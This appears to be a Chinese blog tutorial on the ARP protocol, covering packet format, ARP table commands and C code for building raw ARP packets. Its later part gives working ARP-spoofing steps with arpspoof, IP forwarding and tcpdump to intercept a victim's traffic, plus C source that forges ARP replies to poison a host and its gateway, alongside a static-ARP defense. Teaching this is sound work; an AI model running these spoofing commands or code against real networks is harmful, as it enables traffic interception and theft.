3. ARP 协议分析与实践

3. ARP 协议分析与实践

1. 概述

  • ARP(Address Resolution Protocol, 地址解析协议) : 负责将网络地址解析成对应的 MAC 地址。

  • 官方文档 : RFC826 RFC6747

1.1 ARP 报文格式

  • ARP 包分为请求包和应答包, 通过 OP 字段来区别
    在这里插入图片描述
# 发送 ARP 请求包
arping -I eth0 192.168.2.200

# ARP 请求抓包
sudo tcpdump -nt -XX arp 'dst 192.168.2.200 or src 192.168.2.200'
ARP, Request who-has 192.168.2.200 (ff:ff:ff:ff:ff:ff) tell 192.168.2.100, length 28
	0x0000:  ffff ffff ffff 000c 0c0c 0c0c 0806 0001  ................
	0x0010:  0800 0604 0001 000c 0c0c 0c0c c0a8 0264  ...............d
	0x0020:  ffff ffff ffff c0a8 02c8                 ..........
ARP, Reply 192.168.2.200 is-at 00:0d:0d:0d:0d:0d, length 46
	0x0000:  000c 0c0c 0c0c 000d 0d0d 0d0d 0806 0001  ................
	0x0010:  0800 0604 0002 000d 0d0d 0d0d c0a8 02c8  ................
	0x0020:  000c 0c0c 0c0c c0a8 0264 0000 0000 0000  .........d......
	0x0030:  0000 0000 0000 0000 0000 0000            ............

1.2 ARP 表

  • 为了避免每次网络请求都要发送 ARP 请求, 将网络地址转换为 MAC 地址, 在每台主机中都有 ARP 缓存表,缓存表中记录了IP地址与 MAC 地址的对应关系
# 查看
arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.200            ether   00:0d:0d:0d:0d:0d   C                     eth0
192.168.2.3              ether   00:0b:0b:0b:0b:0b   C                     eth0

# 添加(-s)
sudo arp -i eth0 -s 192.168.2.200 ff:ee:ee:ee:ee:ee

# 删除(-d)
sudo arp -i eth0 -d 192.168.2.200

# 当 eth0 收到 IP 地址为 10.0.0.2 的请求时, 用 eth1 的 MAC 地址应答
sudo arp -i eth0 -Ds 10.0.0.2 eth1 pub

2. ARP 编程

2.1 arp.h

shell> cat arp.h
#ifndef __arp_h__
#define __arp_h__

#define ARP_OP_REQUEST  0x0001
#define ARP_OP_REPLY    0x0002

#define ARP_HW_TYPE_ETH 0x0001  /* 0x0001 表示以太网 */

struct arp_packet {
	unsigned short hwtype;     /* Hardware Type */
	unsigned short prototype;  /* Protocol Type */
	unsigned char  hal;        /* Hardware Address Length */ 
	unsigned char  pal;        /* Protocol Address Length (uses new value 12) */
	unsigned short opcode;     /* Operation Code (uses experimental value OP_EXP1=24) */
	unsigned char  smac[6];	   /* Sender Hardware Address */
	unsigned int   sip;        /* Sender IP Address */
	unsigned char  tmac[6];	   /* Target Hardware Address */
	unsigned int   tip;        /* Target IP Address */
}__attribute__((packed));


struct arp_packet* arp_alloc_packet(unsigned short opcode, const char* smac, 
		const char* sip, const char* tmac, const char* tip);

void arp_free_packet(struct arp_packet** packet);

#endif /* __arp_h__ */

2.2 arp.c

shell> cat arp.c
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>       // for htons
#include <netinet/ether.h>   // for ether_aton
#include "eth.h"
#include "arp.h"


struct arp_packet* arp_alloc_packet(unsigned short opcode, const char* smac, 
		const char* sip, const char* tmac, const char* tip)
{
	struct in_addr in;
	struct ether_addr *addr;
	struct arp_packet *packet;

	packet = (struct arp_packet *)calloc(1, sizeof(struct arp_packet));
	packet->hwtype    = htons(ARP_HW_TYPE_ETH);
	packet->prototype = htons(ETH_PROTO_IP); 
	packet->hal       = 6;                // 硬件地址长度 
	packet->pal       = 4;                // 上层协议长度
	packet->opcode    = htons(opcode);

	addr = ether_aton(smac);	
	memcpy(packet->smac, addr->ether_addr_octet, sizeof(addr->ether_addr_octet));

	inet_aton(sip, &in);
	packet->sip = in.s_addr;

	addr = ether_aton(tmac);	
	memcpy(packet->tmac, addr->ether_addr_octet, sizeof(addr->ether_addr_octet));

	inet_aton(tip, &in);
	packet->tip = in.s_addr;

	return packet;
}

void arp_free_packet(struct arp_packet** packet)
{
	if (NULL != packet && NULL != *packet) {
		free(*packet);
		*packet = NULL;
	}
}

2.3 main.c

shell> cat main.c
#include <stdio.h>
#include <string.h>
#include "eth.h"
#include "arp.h"

#define IFACE_NAME "eth0"
#define DEST_IP    "192.168.2.200"      /* 目标 IP */
#define SRC_IP     "192.168.2.100"      /* 本机 IP */
#define SRC_MAC    "00:0C:0C:0C:0C:0C"  /* 本机 MAC */
#define DEST_MAC   "FF:FF:FF:FF:FF:FF"  /* 广播地址 */

static void eth_send_test(const char *dest_mac, const char *src_mac, 
		unsigned short proto, const void *data, size_t size)
{
	int sockfd;
	struct eth_frame *frame;

	sockfd = eth_socket(IFACE_NAME);

	frame = eth_alloc_frame(dest_mac, src_mac, proto, data, size);
	eth_send(sockfd, frame, sizeof(struct eth_frame) + size, 0);

	eth_free_packet(&frame);	
	eth_close(sockfd);
}

static void arp_request_test()
{
	struct arp_packet *packet;
	packet = arp_alloc_packet(ARP_OP_REQUEST, SRC_MAC, SRC_IP, DEST_MAC, DEST_IP);

	eth_send_test(DEST_MAC, SRC_MAC, ETH_PROTO_ARP, packet, sizeof(struct arp_packet));
	arp_free_packet(&packet);
}

int main(int argc, char *argv[])
{
	arp_request_test();
	return 0;
}
192.168.2.100> make run

192.168.2.200> sudo tcpdump -nt -i eth0 -XX arp
ARP, Request who-has 192.168.2.200 (ff:ff:ff:ff:ff:ff) tell 192.168.2.100, length 46
	0x0000:  ffff ffff ffff 000c 0c0c 0c0c 0806 0001  ................
	0x0010:  0800 0604 0001 000c 0c0c 0c0c c0a8 0264  ...............d
	0x0020:  ffff ffff ffff c0a8 02c8 0000 0000 0000  ................
	0x0030:  0000 0000 0000 0000 0000 0000            ............
ARP, Reply 192.168.2.200 is-at 00:0d:0d:0d:0d:0d, length 28
	0x0000:  000c 0c0c 0c0c 000d 0d0d 0d0d 0806 0001  ................
	0x0010:  0800 0604 0002 000d 0d0d 0d0d c0a8 02c8  ................
	0x0020:  000c 0c0c 0c0c c0a8 0264                 .........d

3. ARP 攻防

3.1 ARP 欺骗

  • 攻击者通过发送伪造的 ARP 报文,恶意修改网关或网络内其他主机的ARP表项,造成设备网络报文转发异常
3.1.1 使用 arpspoof 实现 ARP 欺骗
# 1. 正常情况下, 目标机 ARP 表, 192.168.2.3 是网关
192.168.2.200> arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
192.168.2.3              ether   00:0b:0b:0b:0b:0b   C                     eth0

# 2. 修改目标机网关 MAC 地址为攻击者 MAC 地址, 让原本发给网关的数据, 发给攻击者
192.168.2.100> sudo arpspoof -i eth0 -t 192.168.2.200 192.168.2.3
0:c:c:c:c:c 0:d:d:d:d:d 0806 42: arp reply 192.168.2.3 is-at 0:c:c:c:c:c
0:c:c:c:c:c 0:d:d:d:d:d 0806 42: arp reply 192.168.2.3 is-at 0:c:c:c:c:c

# 3. 查看修改结果, 目标机上网关 MAC 地址被修改为攻击者 MAC 地址了
192.168.2.200> arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
192.168.2.3              ether   00:0c:0c:0c:0c:0c   C                     eth0

# 4. 正常情况下, 网关 ARP 表中 192.168.2.200 的 MAC 地址是 00:0d:0d:0d:0d:0d
192.168.2.3> arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
192.168.10.2             ether   00:50:56:f1:c4:46   C                     eth1
192.168.2.200            ether   00:0d:0d:0d:0d:0d   C                     eth0

# 5. 修改网关目标机 MAC 为攻击者 MAC 地址, 让原本响应给目标机的数据, 也发给攻击者
192.168.2.100> sudo arpspoof -i eth0 -t 192.168.2.3 192.168.2.200

# 6. 查看修改结果, 目标机 MAC 地址被修改为攻击者 MAC 地址了
192.168.2.3> arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
192.168.10.2             ether   00:50:56:f1:c4:46   C                     eth1
192.168.2.200            ether   00:0c:0c:0c:0c:0c   C                     eth0

# 7. 攻击机器开启路由转发功能
192.168.2.100> echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# 8. 监听目标机的流量
192.168.2.100> sudo tcpdump -i eth0 -nt -XX ip host 192.168.2.200

# 9. 目标机请求网络(将被监听)
192.168.2.200> ping baidu.com
3.1.2 ARP 欺骗防守
  • 利用 ARP 静态映射的表项, 加载后无法修改的特点, 防止 ARP 表被非法篡改
# 静态映射
echo '192.168.2.3 00:0b:0b:0b:0b:0b' | sudo tee -a /etc/ethers
sudo arp -f                                               # 默认读取 /etc/ethers 文件
echo '/usr/sbin/arp -f' | sudo tee -a /etc/rc.d/rc.local  # 开机自动映射 

# 查看映射结果(网关的 Flags Mask 中的 M 表示静态映射)
arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.3              ether   00:0b:0b:0b:0b:0b   CM                    eth0
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
3.1.3 ARP 欺骗编码实现
shell> cat main.c
#include <stdio.h>
#include <string.h>
#include "eth.h"
#include "arp.h"

#define IFACE_NAME "eth0"

static void eth_send_test(const char *dest_mac, const char *src_mac, 
		unsigned short proto, const void *data, size_t size)
{
	int sockfd;
	struct eth_frame *frame;

	sockfd = eth_socket(IFACE_NAME);

	frame = eth_alloc_frame(dest_mac, src_mac, proto, data, size);
	eth_send(sockfd, frame, sizeof(struct eth_frame) + size, 0);

	eth_free_packet(&frame);	
	eth_close(sockfd);
}

static void arp_reply_test(const char *src_mac, const char *src_ip, 
                           const char *dest_mac, const char *dest_ip) 
{
	struct arp_packet *packet;
	packet = arp_alloc_packet(ARP_OP_REPLY, src_mac, src_ip, dest_mac, dest_ip);

	eth_send_test(dest_mac, src_mac, ETH_PROTO_ARP, packet, sizeof(struct arp_packet));
	arp_free_packet(&packet);
}

static void arp_spoofing() 
{
	{
		// 欺骗目标机
		const char *src_ip   = "192.168.2.3"; 		
		const char *src_mac  = "00:0c:0c:0c:0c:0c";		
		const char *dest_ip  = "192.168.2.200"; 		
		const char *dest_mac = "00:0d:0d:0d:0d:0d"; 		
		arp_reply_test(src_mac, src_ip, dest_mac, dest_ip);	
	}

	{
		// 欺骗网关
		const char *src_ip   = "192.168.2.200"; 		
		const char *src_mac  = "00:0c:0c:0c:0c:0c"; 
		const char *dest_ip  = "192.168.2.3"; 		
		const char *dest_mac = "00:0b:0b:0b:0b:0b"; 		
		arp_reply_test(src_mac, src_ip, dest_mac, dest_ip);	
	}
}

int main(int argc, char *argv[])
{
	arp_spoofing();
	return 0;
}

# 开启路由转发功能
192.168.2.100> echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# 监听目标机的流量
192.168.2.100> sudo tcpdump -i eth0 -nt -XX ip host 192.168.2.200

# 重复执行, 防止 ARP 表恢复正常 
192.168.2.100> watch make run

# 目标机请求网络(将被监听)
192.168.2.200> ping baidu.com

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: ARP协议是一种用于将IP地址映射到MAC地址的协议,它在局域网中广泛使用。下面是一个针对ARP协议的课程设计思路: 1. 理解ARP协议:讲解ARP协议的基本原理、功能以及工作流程。 2. 实现ARP请求和响应报文的编码解码:使用C语言或Python等编程语言实现ARP请求和响应报文的编码解码过程,包括报文结构、字段类型、长度等信息。 3. 实现ARP协议的实际应用:通过模拟ARP请求和响应过程,实现IP地址与MAC地址之间的映射,掌握ARP协议在局域网中的实际应用。 4. 分析ARP协议的安全性:分析ARP协议的安全性问题,包括ARP欺骗攻击、ARP缓存中毒等,探讨如何加强ARP协议的安全性。 5. ARP协议与其他网络协议的关系:介绍ARP协议与其他网络协议(如IP协议、以太网协议等)之间的关系,探讨它们在网络通信中的作用和相互影响。 以上是一个简单的ARP协议课程设计思路,具体实现方式可以根据具体情况进行调整和扩展。 ### 回答2: ARP(Address Resolution Protocol)是一种用于将网络层的IP地址转换为数据链路层的物理地址(MAC地址)的协议ARP协议分析课程设计主要是为了帮助学生深入理解ARP协议的原理和实现过程。 首先,该课程设计可以从ARP协议的基本原理入手,讲解IP地址和MAC地址之间的映射关系,以及ARP请求和ARP回复的过程。学生可以通过阅读ARP协议的相关文档和资料,了解ARP协议的细节。 其次,课程设计可以通过对ARP协议的抓包分析,让学生亲自操作和观察ARP请求和回复报文的格式和内容。学生可以使用抓包工具(如Wireshark)捕获网络中的ARP报文,并对报文进行解析和分析,从中提取出IP地址和MAC地址的映射关系,以及生成ARP缓存表。 接着,课程设计可以引导学生实现一个简单的ARP协议仿真程序。通过编程实现ARP请求和回复报文的发送和接收,学生可以加深对ARP协议的理解,同时也提高了他们的编程和网络调试能力。 最后,课程设计可以结合网络实验环境,模拟不同网络拓扑和环境下的ARP工作情况。例如,通过搭建一个小型网络,引入网络攻击或故障,观察和分析ARP协议的应对方式和效果,使学生在实践中学到更多有关ARP的知识。 总的来说,ARP协议分析课程设计通过理论学习、报文分析、程序实现和实验操作等多种方式,帮助学生系统地掌握ARP协议的工作原理和实现方法,培养他们对网络协议的深入理解和实践能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值